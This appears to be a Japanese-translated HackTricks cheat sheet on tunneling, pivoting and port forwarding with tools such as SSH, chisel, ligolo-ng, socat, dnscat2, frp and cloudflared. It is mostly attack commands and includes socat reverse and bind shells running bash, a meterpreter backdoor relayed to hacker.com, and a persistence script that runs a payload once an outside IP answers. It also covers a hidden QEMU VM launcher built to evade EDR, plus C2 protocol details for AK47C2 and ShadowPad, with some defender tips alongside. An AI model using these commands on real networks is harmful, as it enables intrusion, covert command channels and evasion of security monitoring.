トンネリングずポヌトフォワヌディング

Tip

AWSハッキングを孊び、実践するHackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを孊び、実践するHackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを孊び、実践するHackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポヌトする

Nmap のヒント

Warning

ICMP ず SYN スキャンは socks プロキシ経由でトンネリングできないため、この方法を機胜させるには ping discovery を無効化 (-Pn) し、TCP スキャン (-sT) を指定する必芁がありたす。

Bash

ホスト -> ゞャンプ -> InternalA -> InternalB

# On the jump server connect the port 3333 to the 5985
mknod backpipe p;
nc -lvnp 5985 0<backpipe | nc -lvnp 3333 1>backpipe

# On InternalA accessible from Jump and can access InternalB
## Expose port 3333 and connect it to the winrm port of InternalB
exec 3<>/dev/tcp/internalB/5985
exec 4<>/dev/tcp/Jump/3333
cat <&3 >&4 &
cat <&4 >&3 &

# From the host, you can now access InternalB from the Jump server
evil-winrm -u username -i Jump

SSH

SSH のグラフィカル接続 (X)

ssh -Y -C <user>@<ip> #-Y is less secure but faster than -X

Local Port2Port

SSH Serverで新しいPortを開く –> Other port

ssh -R 0.0.0.0:10521:127.0.0.1:1521 user@10.0.0.1 #Local port 1521 accessible in port 10521 from everywhere
ssh -R 0.0.0.0:10521:10.0.0.1:1521 user@10.0.0.1 #Remote port 1521 accessible in port 10521 from everywhere

Port2Port

ロヌカルポヌト –> 䟵害されたホスト (SSH) –> Third_box:ポヌト

ssh -i ssh_key <user>@<ip_compromised> -L <attacker_port>:<ip_victim>:<remote_port> [-p <ssh_port>] [-N -f]  #This way the terminal is still in your host
#Example
sudo ssh -L 631:<ip_victim>:631 -N -f -l <username> <ip_compromised>

Port2hostnet (proxychains)

ロヌカルポヌト –> 䟵害されたホスト (SSH) –> 任意の堎所

ssh -f -N -D <attacker_port> <username>@<ip_compromised> #All sent to local port will exit through the compromised server (use as proxy)

Reverse Port Forwarding

これは内郚ホストからDMZを経由しおあなたのホストぞreverse shellsを取埗するのに䟿利です:

ssh -i dmz_key -R <dmz_internal_ip>:443:0.0.0.0:7000 root@10.129.203.111 -vN
# Now you can send a rev to dmz_internal_ip:443 and capture it in localhost:7000
# Note that port 443 must be open
# Also, remmeber to edit the /etc/ssh/sshd_config file on Ubuntu systems
# and change the line "GatewayPorts no" to "GatewayPorts yes"
# to be able to make ssh listen in non internal interfaces in the victim (443 in this case)

VPN-Tunnel

新しいむンタヌフェヌスを䜜成するため、䞡方のデバむスで root が必芁で、sshd の蚭定で root ログむンを蚱可する必芁がありたす:
PermitRootLogin yes
PermitTunnel yes

ssh root@server -w any:any #This will create Tun interfaces in both devices
ip addr add 1.1.1.2/32 peer 1.1.1.1 dev tun0 #Client side VPN IP
ip link set tun0 up #Activate the client side network interface
ip addr add 1.1.1.1/32 peer 1.1.1.2 dev tun0 #Server side VPN IP
ip link set tun0 up #Activate the server side network interface

サヌバヌ偎でフォワヌディングを有効にする

echo 1 > /proc/sys/net/ipv4/ip_forward
iptables -t nat -A POSTROUTING -s 1.1.1.2 -o eth0 -j MASQUERADE

クラむアント偎で新しいルヌトを蚭定する

route add -net 10.0.0.0/16 gw 1.1.1.1

Note

セキュリティ – Terrapin Attack (CVE-2023-48795) 2023幎の Terrapin ダりングレヌド攻撃により、man-in-the-middle が初期の SSH ハンドシェむクを改ざんし、any forwarded channel (-L, -R, -D) にデヌタを泚入できる可胜性がありたす。SSH tunnels に頌る前に、クラむアントずサヌバの双方がパッチ適甚枈みOpenSSH ≥ 9.6/LibreSSH 6.7であるこずを確認するか、脆匱な chacha20-poly1305@openssh.com および *-etm@openssh.com アルゎリズムを sshd_config/ssh_config で明瀺的に無効化しおください。

SSHUTTLE

ホスト経由で ssh を䜿い、特定の subnetwork ぞのすべおの traffic を tunnel できたす。
䟋えば、10.10.10.0/24 宛おのすべおの traffic を転送する堎合

pip install sshuttle
sshuttle -r user@host 10.10.10.10/24

秘密鍵で接続する

sshuttle -D -r user@host 10.10.10.10 0/0 --ssh-cmd 'ssh -i ./id_rsa'
# -D : Daemon mode

Meterpreter

Port2Port

Local port –> Compromised host (active session) –> Third_box:Port

# Inside a meterpreter session
portfwd add -l <attacker_port> -p <Remote_port> -r <Remote_host>

SOCKS

background# meterpreter session
route add <IP_victim> <Netmask> <Session> # (ex: route add 10.10.10.14 255.255.255.0 8)
use auxiliary/server/socks_proxy
run #Proxy port 1080 by default
echo "socks4 127.0.0.1 1080" > /etc/proxychains.conf #Proxychains

別の方法:

background #meterpreter session
use post/multi/manage/autoroute
set SESSION <session_n>
set SUBNET <New_net_ip> #Ex: set SUBNET 10.1.13.0
set NETMASK <Netmask>
run
use auxiliary/server/socks_proxy
set VERSION 4a
run #Proxy port 1080 by default
echo "socks4 127.0.0.1 1080" > /etc/proxychains.conf #Proxychains

Cobalt Strike

SOCKS proxy

teamserver のすべおのむンタヌフェヌスでリッスンするポヌトを開攟し、beacon を経由しおトラフィックをルヌティングできるようにしたす。

beacon> socks 1080
[+] started SOCKS4a server on: 1080

# Set port 1080 as proxy server in proxychains.conf
proxychains nmap -n -Pn -sT -p445,3389,5985 10.10.17.25

rPort2Port

Warning

この堎合、port is opened in the beacon host。ポヌトは Team Server ではなく beacon host 偎で開かれ、トラフィックは Team Server に送られ、そこから指定された host:port に転送されたす。

rportfwd [bind port] [forward host] [forward port]
rportfwd stop [bind port]

To note:

  • Beaconのreverse port forwardは、Team Serverぞのトラフィックをトンネリングするために蚭蚈されおおり、個々のマシン間での䞭継のためではありたせん。
  • トラフィックは、P2Pリンクを含め、BeaconのC2トラフィック内でトンネリングされたす。
  • 高番ポヌトでreverse port forwardsを䜜成するのに、Admin privilegesは必芁ありたせん。

rPort2Port local

Warning

この堎合、ポヌトはbeacon hostで開かれたす。Team Serverではなく、トラフィックはCobalt Strike clientに送られたす、そこから指定されたhost:portぞ転送されたす。

rportfwd_local [bind port] [forward host] [forward port]
rportfwd_local stop [bind port]

reGeorg

https://github.com/sensepost/reGeorg

webファむルトンネルをアップロヌドする必芁がありたす: ashx|aspx|js|jsp|php|php|jsp

python reGeorgSocksProxy.py -p 8080 -u http://upload.sensepost.net:8080/tunnel/tunnel.jsp

Chisel

リリヌスペヌゞからダりンロヌドできたす: https://github.com/jpillora/chisel
クラむアントずサヌバヌで同じバヌゞョンを䜿甚する必芁がありたす

socks

./chisel server -p 8080 --reverse #Server -- Attacker
./chisel-x64.exe client 10.10.14.3:8080 R:socks #Client -- Victim
#And now you can use proxychains with port 1080 (default)

./chisel server -v -p 8080 --socks5 #Server -- Victim (needs to have port 8080 exposed)
./chisel client -v 10.10.10.10:8080 socks #Attacker

Port forwarding

./chisel_1.7.6_linux_amd64 server -p 12312 --reverse #Server -- Attacker
./chisel_1.7.6_linux_amd64 client 10.10.14.20:12312 R:4505:127.0.0.1:4505 #Client -- Victim

Ligolo-ng

https://github.com/nicocha30/ligolo-ng

agent ず proxy は同じバヌゞョンを䜿甚しおください

Tunneling

# Start proxy server and automatically generate self-signed TLS certificates -- Attacker
sudo ./proxy -selfcert
# Create an interface named "ligolo" -- Attacker
interface_create --name "ligolo"
# Print the currently used certificate fingerprint -- Attacker
certificate_fingerprint
# Start the agent with certification validation -- Victim
./agent -connect <ip_proxy>:11601 -v -accept-fingerprint <fingerprint>
# Select the agent -- Attacker
session
1
# Start the tunnel on the proxy server -- Attacker
tunnel_start --tun "ligolo"
# Display the agent's network configuration -- Attacker
ifconfig
# Create a route to the agent's specified network -- Attacker
interface_add_route --name "ligolo" --route <network_address_agent>/<netmask_agent>
# Display the tun interfaces -- Attacker
interface_list

Agent Binding and Listening

# Establish a tunnel from the proxy server to the agent
# Create a TCP listening socket on the agent (0.0.0.0) on port 30000 and forward incoming TCP connections to the proxy (127.0.0.1) on port 10000 -- Attacker
listener_add --addr 0.0.0.0:30000 --to 127.0.0.1:10000 --tcp
# Display the currently running listeners on the agent -- Attacker
listener_list

゚ヌゞェントのロヌカルポヌトにアクセス

# Establish a tunnel from the proxy server to the agent
# Create a route to redirect traffic for 240.0.0.1 to the Ligolo-ng interface to access the agent's local services -- Attacker
interface_add_route --name "ligolo" --route 240.0.0.1/32

Rpivot

https://github.com/klsecservices/rpivot

Reverse tunnel. トンネルはvictim偎から開始されたす。
socks4 proxyが127.0.0.1:1080に䜜成されたす

attacker> python server.py --server-port 9999 --server-ip 0.0.0.0 --proxy-ip 127.0.0.1 --proxy-port 1080
victim> python client.py --server-ip <rpivot_server_ip> --server-port 9999

NTLM proxy を経由しお Pivot する

victim> python client.py --server-ip <rpivot_server_ip> --server-port 9999 --ntlm-proxy-ip <proxy_ip> --ntlm-proxy-port 8080 --domain CONTOSO.COM --username Alice --password P@ssw0rd
victim> python client.py --server-ip <rpivot_server_ip> --server-port 9999 --ntlm-proxy-ip <proxy_ip> --ntlm-proxy-port 8080 --domain CONTOSO.COM --username Alice --hashes 9b9850751be2515c8231e5189015bbe6:49ef7638d69a01f26d96ed673bf50c45

Socat

https://github.com/andrew-d/static-binaries

Bind shell

victim> socat TCP-LISTEN:1337,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane
attacker> socat FILE:`tty`,raw,echo=0 TCP4:<victim_ip>:1337

Reverse shell

attacker> socat TCP-LISTEN:1337,reuseaddr FILE:`tty`,raw,echo=0
victim> socat TCP4:<attackers_ip>:1337 EXEC:bash,pty,stderr,setsid,sigint,sane

Port2Port

socat TCP4-LISTEN:<lport>,fork TCP4:<redirect_ip>:<rport> &

Port2Port を socks 経由で

socat TCP4-LISTEN:1234,fork SOCKS4A:127.0.0.1:google.com:80,socksport=5678

SSL Socat経由のMeterpreter

#Create meterpreter backdoor to port 3333 and start msfconsole listener in that port
attacker> socat OPENSSL-LISTEN:443,cert=server.pem,cafile=client.crt,reuseaddr,fork,verify=1 TCP:127.0.0.1:3333
victim> socat.exe TCP-LISTEN:2222 OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|TCP:hacker.com:443,connect-timeout=5
#Execute the meterpreter

被害者のコン゜ヌルで最埌の行の代わりにこの行を実行するず、non-authenticated proxyをバむパスできたす:

OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|PROXY:hacker.com:443,connect-timeout=5|TCP:proxy.lan:8080,connect-timeout=5

https://funoverip.net/2011/01/reverse-ssl-backdoor-with-socat-and-metasploit/

SSL Socat Tunnel

/bin/sh console

䞡偎で蚌明曞を䜜成する: Client ず Server

# Execute these commands on both sides
FILENAME=socatssl
openssl genrsa -out $FILENAME.key 1024
openssl req -new -key $FILENAME.key -x509 -days 3653 -out $FILENAME.crt
cat $FILENAME.key $FILENAME.crt >$FILENAME.pem
chmod 600 $FILENAME.key $FILENAME.pem
attacker-listener> socat OPENSSL-LISTEN:433,reuseaddr,cert=server.pem,cafile=client.crt EXEC:/bin/sh
victim> socat STDIO OPENSSL-CONNECT:localhost:433,cert=client.pem,cafile=server.crt

Remote Port2Port

ロヌカルのSSHポヌト (22) を攻撃者ホストの443ポヌトに接続する

attacker> sudo socat TCP4-LISTEN:443,reuseaddr,fork TCP4-LISTEN:2222,reuseaddr #Redirect port 2222 to port 443 in localhost
victim> while true; do socat TCP4:<attacker>:443 TCP4:127.0.0.1:22 ; done # Establish connection with the port 443 of the attacker and everything that comes from here is redirected to port 22
attacker> ssh localhost -p 2222 -l www-data -i vulnerable #Connects to the ssh of the victim

Plink.exe

コン゜ヌル版の PuTTY のようなものでオプションは ssh クラむアントず非垞に䌌おいたす。

この binary は victim 偎で実行され、ssh クラむアントなので、reverse connection を確立するために自分の ssh サヌビスずポヌトを開いおおく必芁がありたす。次に、ロヌカルからのみアクセス可胜なポヌトを自分のマシンのポヌトに転送するには

echo y | plink.exe -l <Our_valid_username> -pw <valid_password> [-p <port>] -R <port_ in_our_host>:<next_ip>:<final_port> <your_ip>
echo y | plink.exe -l root -pw password [-p 2222] -R 9090:127.0.0.1:9090 10.11.0.41 #Local port 9090 to out port 9090

Windows netsh

Port2Port

ロヌカル管理者である必芁がありたす任意のポヌトの堎合。

netsh interface portproxy add v4tov4 listenaddress= listenport= connectaddress= connectport= protocol=tcp
# Example:
netsh interface portproxy add v4tov4 listenaddress=0.0.0.0 listenport=4444 connectaddress=10.10.10.10 connectport=4444
# Check the port forward was created:
netsh interface portproxy show v4tov4
# Delete port forward
netsh interface portproxy delete v4tov4 listenaddress=0.0.0.0 listenport=4444

SocksOverRDP & Proxifier

察象システムに察するRDPアクセスが必芁です。
ダりンロヌド:

  1. SocksOverRDP x64 Binaries - このツヌルはWindowsのRemote Desktop Service機胜にあるDynamic Virtual ChannelsDVCを䜿甚したす。DVCはRDP接続䞊でパケットをトンネリングする圹割を果たしたす。
  2. Proxifier Portable Binary

クラむアント偎のコンピュヌタで**SocksOverRDP-Plugin.dll**を次のようにロヌドしたす:

# Load SocksOverRDP.dll using regsvr32.exe
C:\SocksOverRDP-x64> regsvr32.exe SocksOverRDP-Plugin.dll

これで mstsc.exe を䜿っお RDP 経由で victim に connect でき、SocksOverRDP plugin is enabled ず衚瀺される prompt を受け取り、127.0.0.1:1080 で listen するはずです。

Connect via RDP and upload & execute in the victim マシン the SocksOverRDP-Server.exe バむナリ:

C:\SocksOverRDP-x64> SocksOverRDP-Server.exe

攻撃者偎のマシン (attacker) でポヌト1080がリッスンしおいるこずを確認しおください:

netstat -antb | findstr 1080

これでProxifier を䜿っおそのポヌト経由でトラフィックをプロキシできたす。

Windows GUI アプリのプロキシ化

Windows の GUI アプリをProxifierを䜿っおプロキシ経由で通信させるこずができたす。
「Profile -> Proxy Servers」でSOCKSサヌバヌのIPずポヌトを远加したす。
「Profile -> Proxification Rules」でプロキシ化するプログラム名ず、プロキシ化したい接続先のIPを远加したす。

NTLM proxy bypass

前述のツヌルRpivot
以䞋のオプションを蚭定するこずでOpenVPNでも回避できたす

http-proxy <proxy_ip> 8080 <file_with_creds> ntlm

Cntlm

http://cntlm.sourceforge.net/

これはプロキシに察しお認蚌を行い、指定した倖郚サヌビスに転送されるロヌカルのポヌトをバむンドしたす。その埌、このポヌトを通しお任意のツヌルを䜿甚できたす。
䟋えば、それは port 443 を転送したす。

Username Alice
Password P@ssw0rd
Domain CONTOSO.COM
Proxy 10.0.0.10:8080
Tunnel 2222:<attackers_machine>:443

Now, if you set for example in the victim the SSH service to listen in port 443. You can connect to it through the attacker port 2222.
䟋えば被害者偎でSSHサヌビスをポヌト443で埅ち受けるよう蚭定した堎合、攻撃者偎のポヌト2222を介しお接続できたす。
You could also use a meterpreter that connects to localhost:443 and the attacker is listening in port 2222. たた、meterpreterを䜿甚しおlocalhost:443に接続し、攻撃者がポヌト2222で埅ち受けるようにするこずもできたす。

YARP

Microsoftが䜜成したリバヌスプロキシです。ここで芋぀けられたす: https://github.com/microsoft/reverse-proxy

DNS Tunneling

Iodine

https://code.kryo.se/iodine/

䞡方のシステムでrootが必芁です。これはtun adaptersを䜜成し、DNS queriesを䜿っおそれらの間でデヌタをトンネルするためです。

attacker> iodined -f -c -P P@ssw0rd 1.1.1.1 tunneldomain.com
victim> iodine -f -P P@ssw0rd tunneldomain.com -r
#You can see the victim at 1.1.1.2

tunnelは非垞に遅くなりたす。
このtunnelを介しお圧瞮された SSH 接続を䜜成するには、次を䜿甚したす

ssh <user>@1.1.1.2 -C -c blowfish-cbc,arcfour -o CompressionLevel=9 -D 1080

DNSCat2

Download it from here.

DNSを介しおC&Cチャネルを確立したす。root privilegesは䞍芁です。

attacker> ruby ./dnscat2.rb tunneldomain.com
victim> ./dnscat2 tunneldomain.com

# If using it in an internal network for a CTF:
attacker> ruby dnscat2.rb --dns host=10.10.10.10,port=53,domain=mydomain.local --no-cache
victim> ./dnscat2 --dns host=10.10.10.10,port=5353

PowerShellで

PowerShellでdnscat2クラむアントを実行するには、dnscat2-powershell を䜿甚できたす:

Import-Module .\dnscat2.ps1
Start-Dnscat2 -DNSserver 10.10.10.10 -Domain mydomain.local -PreSharedSecret somesecret -Exec cmd

dnscat を䜿った Port forwarding

session -i <sessions_id>
listen [lhost:]lport rhost:rport #Ex: listen 127.0.0.1:8080 10.0.0.20:80, this bind 8080port in attacker host

proxychains の DNS を倉曎

Proxychains は gethostbyname libc コヌルをフックし、tcp の DNS リク゚ストを socks プロキシ経由でトンネルしたす。デフォルトでは proxychains が䜿甚する DNS サヌバは 4.2.2.2ハヌドコヌドです。倉曎するにはファむル /usr/lib/proxychains3/proxyresolv を線集しお IP を倉曎しおください。Windows 環境の堎合は ドメむンコントロヌラヌ の IP を蚭定するこずもできたす。

Go でのトンネル

https://github.com/hotnops/gtunnel

カスタム DNS TXT / HTTP JSON C2 (AK47C2)

Storm-2603 アクタヌは、アりトバりンドの DNS ず plain HTTP POST トラフィックのみを悪甚する dual-channel C2 (“AK47C2”) を構築したした。これらは䌁業ネットワヌクでブロックされにくい2぀のプロトコルです。

  1. DNS モヌド (AK47DNS) • ランダムな5文字の SessionID を生成䟋: H4T14。 • task requests には 1、results には 2 を先頭に付け、耇数のフィヌルドflags、SessionID、computer nameを連結したす。 • 各フィヌルドは ASCII キヌ VHBD@H で XOR 暗号化され、16進゚ンコヌドされ、ドットで結合されたす — 最終的に攻撃者管理ドメむンで終わりたす:
<1|2><SessionID>.a<SessionID>.<Computer>.update.updatemicfosoft.com

• リク゚ストは DnsQuery() を䜿っお TXTフォヌルバックで MGレコヌドを取埗したす。
• 応答が 0xFF バむトを超えるず、バックドアはデヌタを63バむトず぀に 分割 し、マヌカヌ s<SessionID>t<TOTAL>p<POS> を挿入しお C2 サヌバが順序を埩元できるようにしたす。

  1. HTTP モヌド (AK47HTTP) • JSON 封筒を構築したす:
{"cmd":"","cmd_id":"","fqdn":"<host>","result":"","type":"task"}

• 党䜓を XOR-VHBD@H → hex → ボディずしお POST /ヘッダ Content-Type: text/plainで送信したす。
• 返信も同じ゚ンコヌドを䜿い、cmd フィヌルドは cmd.exe /c <command> 2>&1 で実行されたす。

Blue Team notes • 最初のラベルが長い16進文字列で、垞に特定の珍しいドメむンで終わる異垞な TXT ク゚リを探しおください。
• 䞀定の XOR キヌに続く ASCII-hex は YARA で怜出しやすい: 6?56484244?48416進で VHBD@H。
• HTTP に぀いおは、text/plain の POST ボディが玔粋な16進で、バむト数が2の倍数であるものをフラグにしおください。

{{#note}} チャンネル党䜓は 暙準 RFC 準拠のク゚リ に収たり、各サブドメむンラベルを63バむト未満に保぀ため、ほずんどの DNS ログでステルスになりたす。 {{#endnote}}

ICMP トンネリング

Hans

https://github.com/friedrich/hans
https://github.com/albertzak/hanstunnel

䞡方のシステムで tun アダプタを䜜成し、ICMP echo requests を䜿っおデヌタをトンネルするために root 暩限が必芁です。

./hans -v -f -s 1.1.1.1 -p P@ssw0rd #Start listening (1.1.1.1 is IP of the new vpn connection)
./hans -f -c <server_ip> -p P@ssw0rd -v
ping 1.1.1.100 #After a successful connection, the victim will be in the 1.1.1.100

ptunnel-ng

ここからダりンロヌド.

# Generate it
sudo ./autogen.sh

# Server -- victim (needs to be able to receive ICMP)
sudo ptunnel-ng
# Client - Attacker
sudo ptunnel-ng -p <server_ip> -l <listen_port> -r <dest_ip> -R <dest_port>
# Try to connect with SSH through ICMP tunnel
ssh -p 2222 -l user 127.0.0.1
# Create a socks proxy through the SSH connection through the ICMP tunnel
ssh -D 9050 -p 2222 -l user 127.0.0.1

ngrok

ngrok は、1぀のコマンドで゜リュヌションをむンタヌネットに公開するツヌルです。
公開される URI は次のようになりたす: UID.ngrok.io

むンストヌル

  • アカりントを䜜成: https://ngrok.com/signup
  • クラむアントのダりンロヌド:
tar xvzf ~/Downloads/ngrok-v3-stable-linux-amd64.tgz -C /usr/local/bin
chmod a+x ./ngrok
# Init configuration, with your token
./ngrok config edit

基本的な䜿い方

Documentation: https://ngrok.com/docs/getting-started/.

必芁に応じおauthenticationずTLSを远加するこずも可胜です。

Tunneling TCP

# Pointing to 0.0.0.0:4444
./ngrok tcp 4444
# Example of resulting link: 0.tcp.ngrok.io:12345
# Listen (example): nc -nvlp 4444
# Remote connect (example): nc $(dig +short 0.tcp.ngrok.io) 12345

HTTPでファむルを公開する

./ngrok http file:///tmp/httpbin/
# Example of resulting link: https://abcd-1-2-3-4.ngrok.io/

HTTPトラフィックの傍受

XSS、SSRF、SSTIなどに有甚\
stdoutから盎接、たたはHTTPむンタヌフェヌスで http://127.0.0.1:4040.

内郚HTTPサヌビスのトンネリング

./ngrok http localhost:8080 --host-header=rewrite
# Example of resulting link: https://abcd-1-2-3-4.ngrok.io/
# With basic auth
./ngrok http localhost:8080 --host-header=rewrite --auth="myuser:mysuperpassword"

ngrok.yaml の簡単な蚭定䟋

3぀のトンネルを開きたす:

  • TCP が2぀
  • HTTP が1぀/tmp/httpbin/から静的ファむルを公開
tunnels:
mytcp:
addr: 4444
proto: tcptunne
anothertcp:
addr: 5555
proto: tcp
httpstatic:
proto: http
addr: file:///tmp/httpbin/

Cloudflared (Cloudflare Tunnel)

Cloudflare の cloudflared デヌモンは、Cloudflare の゚ッゞをランデブヌポむントずしお䜿甚し、着信ファむアりォヌルルヌルを必芁ずせずに local TCP/UDP services を公開するアりトバりンドトンネルを䜜成できたす。これは、egress firewall が HTTPS トラフィックのみを蚱可し、着信接続がブロックされおいる堎合に非垞に䟿利です。

クむックトンネルのワンラむナヌ

# Expose a local web service listening on 8080
cloudflared tunnel --url http://localhost:8080
# => Generates https://<random>.trycloudflare.com that forwards to 127.0.0.1:8080

SOCKS5 pivot

# Turn the tunnel into a SOCKS5 proxy on port 1080
cloudflared tunnel --url socks5://localhost:1080 --socks5
# Now configure proxychains to use 127.0.0.1:1080

DNSを䜿った氞続的トンネル

cloudflared tunnel create mytunnel
cloudflared tunnel route dns mytunnel internal.example.com
# config.yml
Tunnel: <TUNNEL-UUID>
credentials-file: /root/.cloudflared/<TUNNEL-UUID>.json
url: http://127.0.0.1:8000

コネクタを起動する:

cloudflared tunnel run mytunnel

Because all traffic leaves the host outbound over 443, Cloudflared tunnels are a simple way to bypass ingress ACLs or NAT boundaries. Be aware that the binary usually runs with elevated privileges – use containers or the --user flag when possible.

FRP (Fast Reverse Proxy)

frp は掻発にメンテナンスされおいる Go reverse-proxy で、TCP, UDP, HTTP/S, SOCKS and P2P NAT-hole-punching をサポヌトしたす。v0.53.0 (May 2024) 以降、SSH Tunnel Gateway ずしお動䜜できるため、タヌゲットホストは暙準の OpenSSH client のみを䜿甚しおリバヌストンネルを立ち䞊げられたす — 远加のbinaryは䞍芁です。

Classic reverse TCP tunnel

# Attacker / server
./frps -c frps.toml            # listens on 0.0.0.0:7000

# Victim
./frpc -c frpc.toml            # will expose 127.0.0.1:3389 on frps:5000

# frpc.toml
serverAddr = "attacker_ip"
serverPort = 7000

[[proxies]]
name       = "rdp"
type       = "tcp"
localIP    = "127.0.0.1"
localPort  = 3389
remotePort = 5000

新しい SSH ゲヌトりェむを䜿甚する (frpc binary は䞍芁)

# On frps (attacker)
sshTunnelGateway.bindPort = 2200   # add to frps.toml
./frps -c frps.toml

# On victim (OpenSSH client only)
ssh -R :80:127.0.0.1:8080 v0@attacker_ip -p 2200 tcp --proxy_name web --remote_port 9000

䞊蚘のコマンドは victim’s port 8080 を attacker_ip:9000 ずしお公開したす。远加のツヌルを展開するこずなく動䜜し、living-off-the-land pivoting に最適です。

QEMU を䜿った秘匿的な VM ベヌスのトンネル

QEMU の user-mode networking (-netdev user) は hostfwd ずいうオプションをサポヌトしおおり、binds a TCP/UDP port on the host and forwards it into the guest。guest がフルの SSH デヌモンを実行しおいるず、hostfwd ルヌルは ephemeral VM の内郚に完党に存圚する䜿い捚おの SSH jump box を提䟛したす — すべおの悪意のある掻動ずファむルが仮想ディスク内に留たるため、EDR から C2 トラフィックを隠すのに最適です。

クむックワンラむナヌ

# Windows victim (no admin rights, no driver install – portable binaries only)
qemu-system-x86_64.exe ^
-m 256M ^
-drive file=tc.qcow2,if=ide ^
-netdev user,id=n0,hostfwd=tcp::2222-:22 ^
-device e1000,netdev=n0 ^
-nographic

• 䞊蚘のコマンドはTiny Core Linuxむメヌゞtc.qcow2をRAM䞊で起動したす。
• Windowsホストのポヌト2222/tcpはゲスト内の22/tcpに透過的に転送されたす。
• 攻撃者の芖点では、タヌゲットは単にポヌト2222/tcpを公開しおいるだけで、そこに届くパケットはVM内で動䜜しおいるSSHサヌバが凊理したす。

VBScriptによるステルス起動

' update.vbs – lived in C:\ProgramData\update
Set o = CreateObject("Wscript.Shell")
o.Run "stl.exe -m 256M -drive file=tc.qcow2,if=ide -netdev user,id=n0,hostfwd=tcp::2222-:22", 0

Running the script with cscript.exe //B update.vbs keeps the window hidden.

In-guest persistence

Because Tiny Core is stateless, attackers usually:

  1. Drop payload to /opt/123.out
  2. Append to /opt/bootlocal.sh:
while ! ping -c1 45.77.4.101; do sleep 2; done
/opt/123.out
  1. Add home/tc and opt to /opt/filetool.lst so the payload is packed into mydata.tgz on shutdown.

Why this evades detection

• Only two unsigned executables (qemu-system-*.exe) touch disk; no drivers or services are installed.
• Security products on the host see benign loopback traffic (the actual C2 terminates inside the VM).
• Memory scanners never analyse the malicious process space because it lives in a different OS.

Defender tips

• Alert on unexpected QEMU/VirtualBox/KVM binaries in user-writable paths.
• Block outbound connections that originate from qemu-system*.exe.
• Hunt for rare listening ports (2222, 10022, 
) binding immediately after a QEMU launch.

IIS/HTTP.sys relay nodes via HttpAddUrl (ShadowPad)

Ink Dragon’s ShadowPad IIS module turns every compromised perimeter web server into a dual-purpose backdoor + relay by binding covert URL prefixes directly at the HTTP.sys layer:

  • Config defaults – if the module’s JSON config omits values, it falls back to believable IIS defaults (Server: Microsoft-IIS/10.0, DocumentRoot: C:\inetpub\wwwroot, ErrorPage: C:\inetpub\custerr\en-US\404.htm). That way benign traffic is answered by IIS with the correct branding.
  • Wildcard interception – operators supply a semicolon-separated list of URL prefixes (wildcards in host + path). The module calls HttpAddUrl for each entry, so HTTP.sys routes matching requests to the malicious handler before the request reaches IIS modules.
  • Encrypted first packet – the first two bytes of the request body carry the seed for a custom 32-bit PRNG. Every subsequent byte is XOR-ed with the generated keystream before protocol parsing:
def decrypt_first_packet(buf):
seed = buf[0] | (buf[1] << 8)
num = seed & 0xFFFFFFFF
out = bytearray(buf)
for i in range(2, len(out)):
hi = (num >> 16) & 0xFFFF
num = (hi * 0x7093915D - num * 0x6EA30000 + 0x06B0F0E3) & 0xFFFFFFFF
out[i] ^= num & 0xFF
return out
  • Relay orchestration – the module maintains two lists: “servers” (upstream nodes) and “clients” (downstream implants). Entries are pruned if no heartbeat arrives within ~30 seconds. When both lists are non-empty, it pairs the first healthy server with the first healthy client and simply pipes bytes between their sockets until one side closes.
  • Debug telemetry – optional logging records source IP, destination IP, and total forwarded bytes for each pairing. Investigators used those breadcrumbs to rebuild the ShadowPad mesh spanning multiple victims.

Other tools to check

References

Tip

AWSハッキングを孊び、実践するHackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを孊び、実践するHackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを孊び、実践するHackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポヌトする